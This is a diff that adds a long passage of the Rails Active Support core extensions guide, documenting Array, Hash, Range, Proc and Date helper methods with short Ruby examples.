+  <%= pagination_links %>
+<% end %>
+```
+
+If an optional block is given, `many?` only takes into account those elements that return true:
+
+```ruby
+ at see_more = videos.many? {|video| video.category == params[:category]}
+```
+
+NOTE: Defined in `active_support/core_ext/enumerable.rb`.
+
+### `exclude?`
+
+The predicate `exclude?` tests whether a given object does **not** belong to the collection. It is the negation of the built-in `include?`:
+
+```ruby
+to_visit << node if visited.exclude?(node)
+```
+
+NOTE: Defined in `active_support/core_ext/enumerable.rb`.
+
+Extensions to `Array`
+---------------------
+
+### Accessing
+
+Active Support augments the API of arrays to ease certain ways of accessing them. For example, `to` returns the subarray of elements up to the one at the passed index:
+
+```ruby
+%w(a b c d).to(2) # => %w(a b c)
+[].to(7)          # => []
+```
+
+Similarly, `from` returns the tail from the element at the passed index to the end. If the index is greater than the length of the array, it returns an empty array.
+
+```ruby
+%w(a b c d).from(2)  # => %w(c d)
+%w(a b c d).from(10) # => []
+[].from(0)           # => []
+```
+
+The methods `second`, `third`, `fourth`, and `fifth` return the corresponding element (`first` is built-in). Thanks to social wisdom and positive constructiveness all around, `forty_two` is also available.
+
+```ruby
+%w(a b c d).third # => c
+%w(a b c d).fifth # => nil
+```
+
+NOTE: Defined in `active_support/core_ext/array/access.rb`.
+
+### Adding Elements
+
+#### `prepend`
+
+This method is an alias of `Array#unshift`.
+
+```ruby
+%w(a b c d).prepend('e')  # => %w(e a b c d)
+[].prepend(10)            # => [10]
+```
+
+NOTE: Defined in `active_support/core_ext/array/prepend_and_append.rb`.
+
+#### `append`
+
+This method is an alias of `Array#<<`.
+
+```ruby
+%w(a b c d).append('e')  # => %w(a b c d e)
+[].append([1,2])         # => [[1,2]]
+```
+
+NOTE: Defined in `active_support/core_ext/array/prepend_and_append.rb`.
+
+### Options Extraction
+
+When the last argument in a method call is a hash, except perhaps for a `&block` argument, Ruby allows you to omit the brackets:
+
+```ruby
+User.exists?(email: params[:email])
+```
+
+That syntactic sugar is used a lot in Rails to avoid positional arguments where there would be too many, offering instead interfaces that emulate named parameters. In particular it is very idiomatic to use a trailing hash for options.
+
+If a method expects a variable number of arguments and uses `*` in its declaration, however, such an options hash ends up being an item of the array of arguments, where it loses its role.
+
+In those cases, you may give an options hash a distinguished treatment with `extract_options!`. This method checks the type of the last item of an array. If it is a hash it pops it and returns it, otherwise it returns an empty hash.
+
+Let's see for example the definition of the `caches_action` controller macro:
+
+```ruby
+def caches_action(*actions)
+  return unless cache_configured?
+  options = actions.extract_options!
+  ...
+end
+```
+
+This method receives an arbitrary number of action names, and an optional hash of options as last argument. With the call to `extract_options!` you obtain the options hash and remove it from `actions` in a simple and explicit way.
+
+NOTE: Defined in `active_support/core_ext/array/extract_options.rb`.
+
+### Conversions
+
+#### `to_sentence`
+
+The method `to_sentence` turns an array into a string containing a sentence that enumerates its items:
+
+```ruby
+%w().to_sentence                # => ""
+%w(Earth).to_sentence           # => "Earth"
+%w(Earth Wind).to_sentence      # => "Earth and Wind"
+%w(Earth Wind Fire).to_sentence # => "Earth, Wind, and Fire"
+```
+
+This method accepts three options:
+
+* `:two_words_connector`: What is used for arrays of length 2. Default is " and ".
+* `:words_connector`: What is used to join the elements of arrays with 3 or more elements, except for the last two. Default is ", ".
+* `:last_word_connector`: What is used to join the last items of an array with 3 or more elements. Default is ", and ".
+
+The defaults for these options can be localized, their keys are:
+
+| Option                 | I18n key                            |
+| ---------------------- | ----------------------------------- |
+| `:two_words_connector` | `support.array.two_words_connector` |
+| `:words_connector`     | `support.array.words_connector`     |
+| `:last_word_connector` | `support.array.last_word_connector` |
+
+NOTE: Defined in `active_support/core_ext/array/conversions.rb`.
+
+#### `to_formatted_s`
+
+The method `to_formatted_s` acts like `to_s` by default.
+
+If the array contains items that respond to `id`, however, the symbol
+`:db` may be passed as argument. That's typically used with
+collections of Active Record objects. Returned strings are:
+
+```ruby
+[].to_formatted_s(:db)            # => "null"
+[user].to_formatted_s(:db)        # => "8456"
+invoice.lines.to_formatted_s(:db) # => "23,567,556,12"
+```
+
+Integers in the example above are supposed to come from the respective calls to `id`.
+
+NOTE: Defined in `active_support/core_ext/array/conversions.rb`.
+
+#### `to_xml`
+
+The method `to_xml` returns a string containing an XML representation of its receiver:
+
+```ruby
+Contributor.limit(2).order(:rank).to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <contributors type="array">
+#   <contributor>
+#     <id type="integer">4356</id>
+#     <name>Jeremy Kemper</name>
+#     <rank type="integer">1</rank>
+#     <url-id>jeremy-kemper</url-id>
+#   </contributor>
+#   <contributor>
+#     <id type="integer">4404</id>
+#     <name>David Heinemeier Hansson</name>
+#     <rank type="integer">2</rank>
+#     <url-id>david-heinemeier-hansson</url-id>
+#   </contributor>
+# </contributors>
+```
+
+To do so it sends `to_xml` to every item in turn, and collects the results under a root node. All items must respond to `to_xml`, an exception is raised otherwise.
+
+By default, the name of the root element is the underscorized and dasherized plural of the name of the class of the first item, provided the rest of elements belong to that type (checked with `is_a?`) and they are not hashes. In the example above that's "contributors".
+
+If there's any element that does not belong to the type of the first one the root node becomes "objects":
+
+```ruby
+[Contributor.first, Commit.first].to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <objects type="array">
+#   <object>
+#     <id type="integer">4583</id>
+#     <name>Aaron Batalion</name>
+#     <rank type="integer">53</rank>
+#     <url-id>aaron-batalion</url-id>
+#   </object>
+#   <object>
+#     <author>Joshua Peek</author>
+#     <authored-timestamp type="datetime">2009-09-02T16:44:36Z</authored-timestamp>
+#     <branch>origin/master</branch>
+#     <committed-timestamp type="datetime">2009-09-02T16:44:36Z</committed-timestamp>
+#     <committer>Joshua Peek</committer>
+#     <git-show nil="true"></git-show>
+#     <id type="integer">190316</id>
+#     <imported-from-svn type="boolean">false</imported-from-svn>
+#     <message>Kill AMo observing wrap_with_notifications since ARes was only using it</message>
+#     <sha1>723a47bfb3708f968821bc969a9a3fc873a3ed58</sha1>
+#   </object>
+# </objects>
+```
+
+If the receiver is an array of hashes the root element is by default also "objects":
+
+```ruby
+[{a: 1, b: 2}, {c: 3}].to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <objects type="array">
+#   <object>
+#     <b type="integer">2</b>
+#     <a type="integer">1</a>
+#   </object>
+#   <object>
+#     <c type="integer">3</c>
+#   </object>
+# </objects>
+```
+
+WARNING. If the collection is empty the root element is by default "nil-classes". That's a gotcha, for example the root element of the list of contributors above would not be "contributors" if the collection was empty, but "nil-classes". You may use the `:root` option to ensure a consistent root element.
+
+The name of children nodes is by default the name of the root node singularized. In the examples above we've seen "contributor" and "object". The option `:children` allows you to set these node names.
+
+The default XML builder is a fresh instance of `Builder::XmlMarkup`. You can configure your own builder via the `:builder` option. The method also accepts options like `:dasherize` and friends, they are forwarded to the builder:
+
+```ruby
+Contributor.limit(2).order(:rank).to_xml(skip_types: true)
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <contributors>
+#   <contributor>
+#     <id>4356</id>
+#     <name>Jeremy Kemper</name>
+#     <rank>1</rank>
+#     <url-id>jeremy-kemper</url-id>
+#   </contributor>
+#   <contributor>
+#     <id>4404</id>
+#     <name>David Heinemeier Hansson</name>
+#     <rank>2</rank>
+#     <url-id>david-heinemeier-hansson</url-id>
+#   </contributor>
+# </contributors>
+```
+
+NOTE: Defined in `active_support/core_ext/array/conversions.rb`.
+
+### Wrapping
+
+The method `Array.wrap` wraps its argument in an array unless it is already an array (or array-like).
+
+Specifically:
+
+* If the argument is `nil` an empty list is returned.
+* Otherwise, if the argument responds to `to_ary` it is invoked, and if the value of `to_ary` is not `nil`, it is returned.
+* Otherwise, an array with the argument as its single element is returned.
+
+```ruby
+Array.wrap(nil)       # => []
+Array.wrap([1, 2, 3]) # => [1, 2, 3]
+Array.wrap(0)         # => [0]
+```
+
+This method is similar in purpose to `Kernel#Array`, but there are some differences:
+
+* If the argument responds to `to_ary` the method is invoked. `Kernel#Array` moves on to try `to_a` if the returned value is `nil`, but `Array.wrap` returns `nil` right away.
+* If the returned value from `to_ary` is neither `nil` nor an `Array` object, `Kernel#Array` raises an exception, while `Array.wrap` does not, it just returns the value.
+* It does not call `to_a` on the argument, though special-cases `nil` to return an empty array.
+
+The last point is particularly worth comparing for some enumerables:
+
+```ruby
+Array.wrap(foo: :bar) # => [{:foo=>:bar}]
+Array(foo: :bar)      # => [[:foo, :bar]]
+```
+
+There's also a related idiom that uses the splat operator:
+
+```ruby
+[*object]
+```
+
+which in Ruby 1.8 returns `[nil]` for `nil`, and calls to `Array(object)` otherwise. (Please if you know the exact behavior in 1.9 contact fxn.)
+
+Thus, in this case the behavior is different for `nil`, and the differences with `Kernel#Array` explained above apply to the rest of `object`s.
+
+NOTE: Defined in `active_support/core_ext/array/wrap.rb`.
+
+### Duplicating
+
+The method `Array.deep_dup` duplicates itself and all objects inside
+recursively with Active Support method `Object#deep_dup`. It works like `Array#map` with sending `deep_dup` method to each object inside.
+
+```ruby
+array = [1, [2, 3]]
+dup = array.deep_dup
+dup[1][2] = 4
+array[1][2] == nil   # => true
+```
+
+NOTE: Defined in `active_support/core_ext/object/deep_dup.rb`.
+
+### Grouping
+
+#### `in_groups_of(number, fill_with = nil)`
+
+The method `in_groups_of` splits an array into consecutive groups of a certain size. It returns an array with the groups:
+
+```ruby
+[1, 2, 3].in_groups_of(2) # => [[1, 2], [3, nil]]
+```
+
+or yields them in turn if a block is passed:
+
+```html+erb
+<% sample.in_groups_of(3) do |a, b, c| %>
+  <tr>
+    <td><%= a %></td>
+    <td><%= b %></td>
+    <td><%= c %></td>
+  </tr>
+<% end %>
+```
+
+The first example shows `in_groups_of` fills the last group with as many `nil` elements as needed to have the requested size. You can change this padding value using the second optional argument:
+
+```ruby
+[1, 2, 3].in_groups_of(2, 0) # => [[1, 2], [3, 0]]
+```
+
+And you can tell the method not to fill the last group passing `false`:
+
+```ruby
+[1, 2, 3].in_groups_of(2, false) # => [[1, 2], [3]]
+```
+
+As a consequence `false` can't be a used as a padding value.
+
+NOTE: Defined in `active_support/core_ext/array/grouping.rb`.
+
+#### `in_groups(number, fill_with = nil)`
+
+The method `in_groups` splits an array into a certain number of groups. The method returns an array with the groups:
+
+```ruby
+%w(1 2 3 4 5 6 7).in_groups(3)
+# => [["1", "2", "3"], ["4", "5", nil], ["6", "7", nil]]
+```
+
+or yields them in turn if a block is passed:
+
+```ruby
+%w(1 2 3 4 5 6 7).in_groups(3) {|group| p group}
+["1", "2", "3"]
+["4", "5", nil]
+["6", "7", nil]
+```
+
+The examples above show that `in_groups` fills some groups with a trailing `nil` element as needed. A group can get at most one of these extra elements, the rightmost one if any. And the groups that have them are always the last ones.
+
+You can change this padding value using the second optional argument:
+
+```ruby
+%w(1 2 3 4 5 6 7).in_groups(3, "0")
+# => [["1", "2", "3"], ["4", "5", "0"], ["6", "7", "0"]]
+```
+
+And you can tell the method not to fill the smaller groups passing `false`:
+
+```ruby
+%w(1 2 3 4 5 6 7).in_groups(3, false)
+# => [["1", "2", "3"], ["4", "5"], ["6", "7"]]
+```
+
+As a consequence `false` can't be a used as a padding value.
+
+NOTE: Defined in `active_support/core_ext/array/grouping.rb`.
+
+#### `split(value = nil)`
+
+The method `split` divides an array by a separator and returns the resulting chunks.
+
+If a block is passed the separators are those elements of the array for which the block returns true:
+
+```ruby
+(-5..5).to_a.split { |i| i.multiple_of?(4) }
+# => [[-5], [-3, -2, -1], [1, 2, 3], [5]]
+```
+
+Otherwise, the value received as argument, which defaults to `nil`, is the separator:
+
+```ruby
+[0, 1, -5, 1, 1, "foo", "bar"].split(1)
+# => [[0], [-5], [], ["foo", "bar"]]
+```
+
+TIP: Observe in the previous example that consecutive separators result in empty arrays.
+
+NOTE: Defined in `active_support/core_ext/array/grouping.rb`.
+
+Extensions to `Hash`
+--------------------
+
+### Conversions
+
+#### `to_xml`
+
+The method `to_xml` returns a string containing an XML representation of its receiver:
+
+```ruby
+{"foo" => 1, "bar" => 2}.to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <hash>
+#   <foo type="integer">1</foo>
+#   <bar type="integer">2</bar>
+# </hash>
+```
+
+To do so, the method loops over the pairs and builds nodes that depend on the _values_. Given a pair `key`, `value`:
+
+* If `value` is a hash there's a recursive call with `key` as `:root`.
+
+* If `value` is an array there's a recursive call with `key` as `:root`, and `key` singularized as `:children`.
+
+* If `value` is a callable object it must expect one or two arguments. Depending on the arity, the callable is invoked with the `options` hash as first argument with `key` as `:root`, and `key` singularized as second argument. Its return value becomes a new node.
+
+* If `value` responds to `to_xml` the method is invoked with `key` as `:root`.
+
+* Otherwise, a node with `key` as tag is created with a string representation of `value` as text node. If `value` is `nil` an attribute "nil" set to "true" is added. Unless the option `:skip_types` exists and is true, an attribute "type" is added as well according to the following mapping:
+
+```ruby
+XML_TYPE_NAMES = {
+  "Symbol"     => "symbol",
+  "Fixnum"     => "integer",
+  "Bignum"     => "integer",
+  "BigDecimal" => "decimal",
+  "Float"      => "float",
+  "TrueClass"  => "boolean",
+  "FalseClass" => "boolean",
+  "Date"       => "date",
+  "DateTime"   => "datetime",
+  "Time"       => "datetime"
+}
+```
+
+By default the root node is "hash", but that's configurable via the `:root` option.
+
+The default XML builder is a fresh instance of `Builder::XmlMarkup`. You can configure your own builder with the `:builder` option. The method also accepts options like `:dasherize` and friends, they are forwarded to the builder.
+
+NOTE: Defined in `active_support/core_ext/hash/conversions.rb`.
+
+### Merging
+
+Ruby has a built-in method `Hash#merge` that merges two hashes:
+
+```ruby
+{a: 1, b: 1}.merge(a: 0, c: 2)
+# => {:a=>0, :b=>1, :c=>2}
+```
+
+Active Support defines a few more ways of merging hashes that may be convenient.
+
+#### `reverse_merge` and `reverse_merge!`
+
+In case of collision the key in the hash of the argument wins in `merge`. You can support option hashes with default values in a compact way with this idiom:
+
+```ruby
+options = {length: 30, omission: "..."}.merge(options)
+```
+
+Active Support defines `reverse_merge` in case you prefer this alternative notation:
+
+```ruby
+options = options.reverse_merge(length: 30, omission: "...")
+```
+
+And a bang version `reverse_merge!` that performs the merge in place:
+
+```ruby
+options.reverse_merge!(length: 30, omission: "...")
+```
+
+WARNING. Take into account that `reverse_merge!` may change the hash in the caller, which may or may not be a good idea.
+
+NOTE: Defined in `active_support/core_ext/hash/reverse_merge.rb`.
+
+#### `reverse_update`
+
+The method `reverse_update` is an alias for `reverse_merge!`, explained above.
+
+WARNING. Note that `reverse_update` has no bang.
+
+NOTE: Defined in `active_support/core_ext/hash/reverse_merge.rb`.
+
+#### `deep_merge` and `deep_merge!`
+
+As you can see in the previous example if a key is found in both hashes the value in the one in the argument wins.
+
+Active Support defines `Hash#deep_merge`. In a deep merge, if a key is found in both hashes and their values are hashes in turn, then their _merge_ becomes the value in the resulting hash:
+
+```ruby
+{a: {b: 1}}.deep_merge(a: {c: 2})
+# => {:a=>{:b=>1, :c=>2}}
+```
+
+The method `deep_merge!` performs a deep merge in place.
+
+NOTE: Defined in `active_support/core_ext/hash/deep_merge.rb`.
+
+### Deep duplicating
+
+The method `Hash.deep_dup` duplicates itself and all keys and values
+inside recursively with Active Support method `Object#deep_dup`. It works like `Enumerator#each_with_object` with sending `deep_dup` method to each pair inside.
+
+```ruby
+hash = { a: 1, b: { c: 2, d: [3, 4] } }
+
+dup = hash.deep_dup
+dup[:b][:e] = 5
+dup[:b][:d] << 5
+
+hash[:b][:e] == nil      # => true
+hash[:b][:d] == [3, 4]   # => true
+```
+
+NOTE: Defined in `active_support/core_ext/object/deep_dup.rb`.
+
+### Working with Keys
+
+#### `except` and `except!`
+
+The method `except` returns a hash with the keys in the argument list removed, if present:
+
+```ruby
+{a: 1, b: 2}.except(:a) # => {:b=>2}
+```
+
+If the receiver responds to `convert_key`, the method is called on each of the arguments. This allows `except` to play nice with hashes with indifferent access for instance:
+
+```ruby
+{a: 1}.with_indifferent_access.except(:a)  # => {}
+{a: 1}.with_indifferent_access.except("a") # => {}
+```
+
+There's also the bang variant `except!` that removes keys in the very receiver.
+
+NOTE: Defined in `active_support/core_ext/hash/except.rb`.
+
+#### `transform_keys` and `transform_keys!`
+
+The method `transform_keys` accepts a block and returns a hash that has applied the block operations to each of the keys in the receiver:
+
+```ruby
+{nil => nil, 1 => 1, a: :a}.transform_keys { |key| key.to_s.upcase }
+# => {"" => nil, "A" => :a, "1" => 1}
+```
+
+The result in case of collision is undefined:
+
+```ruby
+{"a" => 1, a: 2}.transform_keys { |key| key.to_s.upcase }
+# => {"A" => 2}, in my test, can't rely on this result though
+```
+
+This method may be useful for example to build specialized conversions. For instance `stringify_keys` and `symbolize_keys` use `transform_keys` to perform their key conversions:
+
+```ruby
+def stringify_keys
+  transform_keys { |key| key.to_s }
+end
+...
+def symbolize_keys
+  transform_keys { |key| key.to_sym rescue key }
+end
+```
+
+There's also the bang variant `transform_keys!` that applies the block operations to keys in the very receiver.
+
+Besides that, one can use `deep_transform_keys` and `deep_transform_keys!` to perform the block operation on all the keys in the given hash and all the hashes nested into it. An example of the result is:
+
+```ruby
+{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_transform_keys { |key| key.to_s.upcase }
+# => {""=>nil, "1"=>1, "NESTED"=>{"A"=>3, "5"=>5}}
+```
+
+NOTE: Defined in `active_support/core_ext/hash/keys.rb`.
+
+#### `stringify_keys` and `stringify_keys!`
+
+The method `stringify_keys` returns a hash that has a stringified version of the keys in the receiver. It does so by sending `to_s` to them:
+
+```ruby
+{nil => nil, 1 => 1, a: :a}.stringify_keys
+# => {"" => nil, "a" => :a, "1" => 1}
+```
+
+The result in case of collision is undefined:
+
+```ruby
+{"a" => 1, a: 2}.stringify_keys
+# => {"a" => 2}, in my test, can't rely on this result though
+```
+
+This method may be useful for example to easily accept both symbols and strings as options. For instance `ActionView::Helpers::FormHelper` defines:
+
+```ruby
+def to_check_box_tag(options = {}, checked_value = "1", unchecked_value = "0")
+  options = options.stringify_keys
+  options["type"] = "checkbox"
+  ...
+end
+```
+
+The second line can safely access the "type" key, and let the user to pass either `:type` or "type".
+
+There's also the bang variant `stringify_keys!` that stringifies keys in the very receiver.
+
+Besides that, one can use `deep_stringify_keys` and `deep_stringify_keys!` to stringify all the keys in the given hash and all the hashes nested into it. An example of the result is:
+
+```ruby
+{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_stringify_keys
+# => {""=>nil, "1"=>1, "nested"=>{"a"=>3, "5"=>5}}
+```
+
+NOTE: Defined in `active_support/core_ext/hash/keys.rb`.
+
+#### `symbolize_keys` and `symbolize_keys!`
+
+The method `symbolize_keys` returns a hash that has a symbolized version of the keys in the receiver, where possible. It does so by sending `to_sym` to them:
+
+```ruby
+{nil => nil, 1 => 1, "a" => "a"}.symbolize_keys
+# => {1=>1, nil=>nil, :a=>"a"}
+```
+
+WARNING. Note in the previous example only one key was symbolized.
+
+The result in case of collision is undefined:
+
+```ruby
+{"a" => 1, a: 2}.symbolize_keys
+# => {:a=>2}, in my test, can't rely on this result though
+```
+
+This method may be useful for example to easily accept both symbols and strings as options. For instance `ActionController::UrlRewriter` defines
+
+```ruby
+def rewrite_path(options)
+  options = options.symbolize_keys
+  options.update(options[:params].symbolize_keys) if options[:params]
+  ...
+end
+```
+
+The second line can safely access the `:params` key, and let the user to pass either `:params` or "params".
+
+There's also the bang variant `symbolize_keys!` that symbolizes keys in the very receiver.
+
+Besides that, one can use `deep_symbolize_keys` and `deep_symbolize_keys!` to symbolize all the keys in the given hash and all the hashes nested into it. An example of the result is:
+
+```ruby
+{nil => nil, 1 => 1, "nested" => {"a" => 3, 5 => 5}}.deep_symbolize_keys
+# => {nil=>nil, 1=>1, nested:{a:3, 5=>5}}
+```
+
+NOTE: Defined in `active_support/core_ext/hash/keys.rb`.
+
+#### `to_options` and `to_options!`
+
+The methods `to_options` and `to_options!` are respectively aliases of `symbolize_keys` and `symbolize_keys!`.
+
+NOTE: Defined in `active_support/core_ext/hash/keys.rb`.
+
+#### `assert_valid_keys`
+
+The method `assert_valid_keys` receives an arbitrary number of arguments, and checks whether the receiver has any key outside that white list. If it does `ArgumentError` is raised.
+
+```ruby
+{a: 1}.assert_valid_keys(:a)  # passes
+{a: 1}.assert_valid_keys("a") # ArgumentError
+```
+
+Active Record does not accept unknown options when building associations, for example. It implements that control via `assert_valid_keys`.
+
+NOTE: Defined in `active_support/core_ext/hash/keys.rb`.
+
+### Slicing
+
+Ruby has built-in support for taking slices out of strings and arrays. Active Support extends slicing to hashes:
+
+```ruby
+{a: 1, b: 2, c: 3}.slice(:a, :c)
+# => {:c=>3, :a=>1}
+
+{a: 1, b: 2, c: 3}.slice(:b, :X)
+# => {:b=>2} # non-existing keys are ignored
+```
+
+If the receiver responds to `convert_key` keys are normalized:
+
+```ruby
+{a: 1, b: 2}.with_indifferent_access.slice("a")
+# => {:a=>1}
+```
+
+NOTE. Slicing may come in handy for sanitizing option hashes with a white list of keys.
+
+There's also `slice!` which in addition to perform a slice in place returns what's removed:
+
+```ruby
+hash = {a: 1, b: 2}
+rest = hash.slice!(:a) # => {:b=>2}
+hash                   # => {:a=>1}
+```
+
+NOTE: Defined in `active_support/core_ext/hash/slice.rb`.
+
+### Extracting
+
+The method `extract!` removes and returns the key/value pairs matching the given keys.
+
+```ruby
+hash = {a: 1, b: 2}
+rest = hash.extract!(:a) # => {:a=>1}
+hash                     # => {:b=>2}
+```
+
+The method `extract!` returns the same subclass of Hash, that the receiver is.
+
+```ruby
+hash = {a: 1, b: 2}.with_indifferent_access
+rest = hash.extract!(:a).class
+# => ActiveSupport::HashWithIndifferentAccess
+```
+
+NOTE: Defined in `active_support/core_ext/hash/slice.rb`.
+
+### Indifferent Access
+
+The method `with_indifferent_access` returns an `ActiveSupport::HashWithIndifferentAccess` out of its receiver:
+
+```ruby
+{a: 1}.with_indifferent_access["a"] # => 1
+```
+
+NOTE: Defined in `active_support/core_ext/hash/indifferent_access.rb`.
+
+### Compacting
+
+The methods `compact` and `compact!` return a Hash without items with `nil` value. 
+
+```ruby
+{a: 1, b: 2, c: nil}.compact # => {a: 1, b: 2}
+```
+
+NOTE: Defined in `active_support/core_ext/hash/compact.rb`.
+
+Extensions to `Regexp`
+----------------------
+
+### `multiline?`
+
+The method `multiline?` says whether a regexp has the `/m` flag set, that is, whether the dot matches newlines.
+
+```ruby
+%r{.}.multiline?  # => false
+%r{.}m.multiline? # => true
+
+Regexp.new('.').multiline?                    # => false
+Regexp.new('.', Regexp::MULTILINE).multiline? # => true
+```
+
+Rails uses this method in a single place, also in the routing code. Multiline regexps are disallowed for route requirements and this flag eases enforcing that constraint.
+
+```ruby
+def assign_route_options(segments, defaults, requirements)
+  ...
+  if requirement.multiline?
+    raise ArgumentError, "Regexp multiline option not allowed in routing requirements: #{requirement.inspect}"
+  end
+  ...
+end
+```
+
+NOTE: Defined in `active_support/core_ext/regexp.rb`.
+
+Extensions to `Range`
+---------------------
+
+### `to_s`
+
+Active Support extends the method `Range#to_s` so that it understands an optional format argument. As of this writing the only supported non-default format is `:db`:
+
+```ruby
+(Date.today..Date.tomorrow).to_s
+# => "2009-10-25..2009-10-26"
+
+(Date.today..Date.tomorrow).to_s(:db)
+# => "BETWEEN '2009-10-25' AND '2009-10-26'"
+```
+
+As the example depicts, the `:db` format generates a `BETWEEN` SQL clause. That is used by Active Record in its support for range values in conditions.
+
+NOTE: Defined in `active_support/core_ext/range/conversions.rb`.
+
+### `include?`
+
+The methods `Range#include?` and `Range#===` say whether some value falls between the ends of a given instance:
+
+```ruby
+(2..3).include?(Math::E) # => true
+```
+
+Active Support extends these methods so that the argument may be another range in turn. In that case we test whether the ends of the argument range belong to the receiver themselves:
+
+```ruby
+(1..10).include?(3..7)  # => true
+(1..10).include?(0..7)  # => false
+(1..10).include?(3..11) # => false
+(1...9).include?(3..9)  # => false
+
+(1..10) === (3..7)  # => true
+(1..10) === (0..7)  # => false
+(1..10) === (3..11) # => false
+(1...9) === (3..9)  # => false
+```
+
+NOTE: Defined in `active_support/core_ext/range/include_range.rb`.
+
+### `overlaps?`
+
+The method `Range#overlaps?` says whether any two given ranges have non-void intersection:
+
+```ruby
+(1..10).overlaps?(7..11)  # => true
+(1..10).overlaps?(0..7)   # => true
+(1..10).overlaps?(11..27) # => false
+```
+
+NOTE: Defined in `active_support/core_ext/range/overlaps.rb`.
+
+Extensions to `Proc`
+--------------------
+
+### `bind`
+
+As you surely know Ruby has an `UnboundMethod` class whose instances are methods that belong to the limbo of methods without a self. The method `Module#instance_method` returns an unbound method for example:
+
+```ruby
+Hash.instance_method(:delete) # => #<UnboundMethod: Hash#delete>
+```
+
+An unbound method is not callable as is, you need to bind it first to an object with `bind`:
+
+```ruby
+clear = Hash.instance_method(:clear)
+clear.bind({a: 1}).call # => {}
+```
+
+Active Support defines `Proc#bind` with an analogous purpose:
+
+```ruby
+Proc.new { size }.bind([]).call # => 0
+```
+
+As you see that's callable and bound to the argument, the return value is indeed a `Method`.
+
+NOTE: To do so `Proc#bind` actually creates a method under the hood. If you ever see a method with a weird name like `__bind_1256598120_237302` in a stack trace you know now where it comes from.
+
+Action Pack uses this trick in `rescue_from` for example, which accepts the name of a method and also a proc as callbacks for a given rescued exception. It has to call them in either case, so a bound method is returned by `handler_for_rescue`, thus simplifying the code in the caller:
+
+```ruby
+def handler_for_rescue(exception)
+  _, rescuer = Array(rescue_handlers).reverse.detect do |klass_name, handler|
+    ...
+  end
+
+  case rescuer
+  when Symbol
+    method(rescuer)
+  when Proc
+    rescuer.bind(self)
+  end
+end
+```
+
+NOTE: Defined in `active_support/core_ext/proc.rb`.
+
+Extensions to `Date`
+--------------------
+
+### Calculations
+
+NOTE: All the following methods are defined in `active_support/core_ext/date/calculations.rb`.
+
+INFO: The following calculation methods have edge cases in October 1582, since days 5..14 just do not exist. This guide does not document their behavior around those days for brevity, but it is enough to say that they do what you would expect. That is, `Date.new(1582, 10, 4).tomorrow` returns `Date.new(1582, 10, 15)` and so on. Please check `test/core_ext/date_ext_test.rb` in the Active Support test suite for expected behavior.
+
+#### `Date.current`
+
+Active Support defines `Date.current` to be today in the current time zone. That's like `Date.today`, except that it honors the user time zone, if defined. It also defines `Date.yesterday` and `Date.tomorrow`, and the instance predicates `past?`, `today?`, and `future?`, all of them relative to `Date.current`.
+
+When making Date comparisons using methods which honor the user time zone, make sure to use `Date.current` and not `Date.today`. There are cases where the user time zone might be in the future compared to the system time zone, which `Date.today` uses by default. This means `Date.today` may equal `Date.yesterday`.
+
+#### Named dates
+
+##### `prev_year`, `next_year`
+
+In Ruby 1.9 `prev_year` and `next_year` return a date with the same day/month in the last or next year:
+
+```ruby
+d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
+d.prev_year              # => Fri, 08 May 2009
+d.next_year              # => Sun, 08 May 2011
+```
+
+If date is the 29th of February of a leap year, you obtain the 28th:
+
+```ruby
+d = Date.new(2000, 2, 29) # => Tue, 29 Feb 2000
+d.prev_year               # => Sun, 28 Feb 1999
+d.next_year               # => Wed, 28 Feb 2001
+```
+
+`prev_year` is aliased to `last_year`.
+
+##### `prev_month`, `next_month`
+
+In Ruby 1.9 `prev_month` and `next_month` return the date with the same day in the last or next month:
+
+```ruby
+d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
+d.prev_month             # => Thu, 08 Apr 2010
+d.next_month             # => Tue, 08 Jun 2010
+```
+
+If such a day does not exist, the last day of the corresponding month is returned:
+
+```ruby
+Date.new(2000, 5, 31).prev_month # => Sun, 30 Apr 2000
+Date.new(2000, 3, 31).prev_month # => Tue, 29 Feb 2000
+Date.new(2000, 5, 31).next_month # => Fri, 30 Jun 2000
+Date.new(2000, 1, 31).next_month # => Tue, 29 Feb 2000
+```
+
+`prev_month` is aliased to `last_month`.
+
+##### `prev_quarter`, `next_quarter`
+
+Same as `prev_month` and `next_month`. It returns the date with the same day in the previous or next quarter:
+
+```ruby
+t = Time.local(2010, 5, 8) # => Sat, 08 May 2010
+t.prev_quarter             # => Mon, 08 Feb 2010
+t.next_quarter             # => Sun, 08 Aug 2010
+```
+
+If such a day does not exist, the last day of the corresponding month is returned:
+
+```ruby
+Time.local(2000, 7, 31).prev_quarter  # => Sun, 30 Apr 2000
+Time.local(2000, 5, 31).prev_quarter  # => Tue, 29 Feb 2000
+Time.local(2000, 10, 31).prev_quarter # => Mon, 30 Oct 2000
+Time.local(2000, 11, 31).next_quarter # => Wed, 28 Feb 2001
+```
+
+`prev_quarter` is aliased to `last_quarter`.
+
+##### `beginning_of_week`, `end_of_week`
+
+The methods `beginning_of_week` and `end_of_week` return the dates for the
+beginning and end of the week, respectively. Weeks are assumed to start on
+Monday, but that can be changed passing an argument, setting thread local
+`Date.beginning_of_week` or `config.beginning_of_week`.
+
+```ruby
+d = Date.new(2010, 5, 8)     # => Sat, 08 May 2010
+d.beginning_of_week          # => Mon, 03 May 2010
+d.beginning_of_week(:sunday) # => Sun, 02 May 2010
+d.end_of_week                # => Sun, 09 May 2010
+d.end_of_week(:sunday)       # => Sat, 08 May 2010
+```
+
+`beginning_of_week` is aliased to `at_beginning_of_week` and `end_of_week` is aliased to `at_end_of_week`.
+
+##### `monday`, `sunday`
+
+The methods `monday` and `sunday` return the dates for the previous Monday and
+next Sunday, respectively.
+
+```ruby
+d = Date.new(2010, 5, 8)     # => Sat, 08 May 2010
+d.monday                     # => Mon, 03 May 2010
+d.sunday                     # => Sun, 09 May 2010
+
+d = Date.new(2012, 9, 10)    # => Mon, 10 Sep 2012
+d.monday                     # => Mon, 10 Sep 2012
+
+d = Date.new(2012, 9, 16)    # => Sun, 16 Sep 2012
+d.sunday                     # => Sun, 16 Sep 2012
+```
+
+##### `prev_week`, `next_week`
+
